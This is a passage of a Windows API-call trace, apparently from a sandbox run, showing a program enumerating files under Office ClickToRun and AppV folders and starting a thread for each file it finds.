	[0087.006] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1
	[0087.006] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml", _String2=".") returned 1
	[0087.006] wcscmp (_String1="C2RManifest.publishermui.msi.16.en-us.xml", _String2="..") returned 1
	[0087.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89e20
	[0087.006] wcscpy (in: _Dest=0x2d89e20, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.006] wcscat (in: _Dest=0x2d89e20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.006] wcscat (in: _Dest=0x2d89e20, _Source="C2RManifest.publishermui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml"
	[0087.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a98
	[0087.006] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1
	[0087.007] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0087.007] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0087.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481cc88
	[0087.007] wcscpy (in: _Dest=0x481cc88, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.007] wcscat (in: _Dest=0x481cc88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.007] wcscat (in: _Dest=0x481cc88, _Source="C2RManifest.shared.Office.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml"
	[0087.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481cc88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c
	[0087.007] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1
	[0087.007] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0087.007] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0087.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4779860
	[0087.007] wcscpy (in: _Dest=0x4779860, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.007] wcscat (in: _Dest=0x4779860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.007] wcscat (in: _Dest=0x4779860, _Source="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml"
	[0087.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0
	[0087.008] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1
	[0087.008] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml", _String2=".") returned 1
	[0087.008] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml", _String2="..") returned 1
	[0087.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb7f8
	[0087.008] wcscpy (in: _Dest=0x47eb7f8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.008] wcscat (in: _Dest=0x47eb7f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.008] wcscat (in: _Dest=0x47eb7f8, _Source="C2RManifest.visiomui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml"
	[0087.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa4
	[0087.009] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1
	[0087.009] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0087.009] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0087.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4779e60
	[0087.009] wcscpy (in: _Dest=0x4779e60, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.009] wcscat (in: _Dest=0x4779e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.009] wcscat (in: _Dest=0x4779e60, _Source="C2RManifest.Word.Word.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml"
	[0087.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8
	[0087.010] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1
	[0087.010] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml", _String2=".") returned 1
	[0087.010] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml", _String2="..") returned 1
	[0087.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x47674f0
	[0087.010] wcscpy (in: _Dest=0x47674f0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.010] wcscat (in: _Dest=0x47674f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.010] wcscat (in: _Dest=0x47674f0, _Source="C2RManifest.wordmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml"
	[0087.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47674f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aac
	[0087.010] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0087.010] wcscmp (_String1="integrator.exe", _String2=".") returned 1
	[0087.010] wcscmp (_String1="integrator.exe", _String2="..") returned 1
	[0087.010] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0087.010] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", _String2=".") returned 1
	[0087.010] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", _String2="..") returned 1
	[0087.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500d6d8
	[0087.010] wcscpy (in: _Dest=0x500d6d8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.011] wcscat (in: _Dest=0x500d6d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.011] wcscat (in: _Dest=0x500d6d8, _Source="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"
	[0087.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab0
	[0087.011] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0087.011] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", _String2=".") returned 1
	[0087.011] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", _String2="..") returned 1
	[0087.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d8e8
	[0087.011] wcscpy (in: _Dest=0x481d8e8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.011] wcscat (in: _Dest=0x481d8e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.011] wcscat (in: _Dest=0x481d8e8, _Source="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"
	[0087.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4
	[0087.012] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1
	[0087.012] wcscmp (_String1="msoutilstat.etw.man", _String2=".") returned 1
	[0087.012] wcscmp (_String1="msoutilstat.etw.man", _String2="..") returned 1
	[0087.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49255e0
	[0087.012] wcscpy (in: _Dest=0x49255e0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.012] wcscat (in: _Dest=0x49255e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.012] wcscat (in: _Dest=0x49255e0, _Source="msoutilstat.etw.man" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man"
	[0087.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49255e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c70
	[0093.832] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1
	[0093.832] wcscmp (_String1="wordEtw.man", _String2=".") returned 1
	[0093.832] wcscmp (_String1="wordEtw.man", _String2="..") returned 1
	[0093.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a8c8
	[0093.833] wcscpy (in: _Dest=0x481a8c8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0093.833] wcscat (in: _Dest=0x481a8c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0093.833] wcscat (in: _Dest=0x481a8c8, _Source="wordEtw.man" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man"

Thread:
	id = 476
	os_tid = 0x1698

	[0077.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac108
	[0077.389] wcscpy (in: _Dest=0x2dac108, _Source="C:\\ProgramData\\Microsoft\\AppV\\Setup" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0077.389] wcscat (in: _Dest=0x2dac108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\Setup\\") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\"
	[0077.389] wcscat (in: _Dest=0x2dac108, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*"
	[0077.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbff98
	[0077.389] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87bb8
	[0080.017] wcscmp (_String1=".", _String2=".") returned 0
	[0080.017] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.017] wcscmp (_String1="..", _String2=".") returned 1
	[0080.017] wcscmp (_String1="..", _String2="..") returned 0
	[0080.017] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1
	[0080.017] wcscmp (_String1="OfficeIntegrator.ps1", _String2=".") returned 1
	[0080.017] wcscmp (_String1="OfficeIntegrator.ps1", _String2="..") returned 1
	[0080.017] FindNextFileW (in: hFindFile=0x2d87bb8, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0
	[0080.017] FindClose (in: hFindFile=0x2d87bb8 | out: hFindFile=0x2d87bb8) returned 1
	[0080.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbff98) returned 1
	[0080.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac108) returned 1
	[0080.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48340) returned 1

Thread:
	id = 477
	os_tid = 0x169c

	[0077.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b540
	[0077.390] wcscpy (in: _Dest=0x2d7b540, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework"
	[0077.390] wcscat (in: _Dest=0x2d7b540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\"
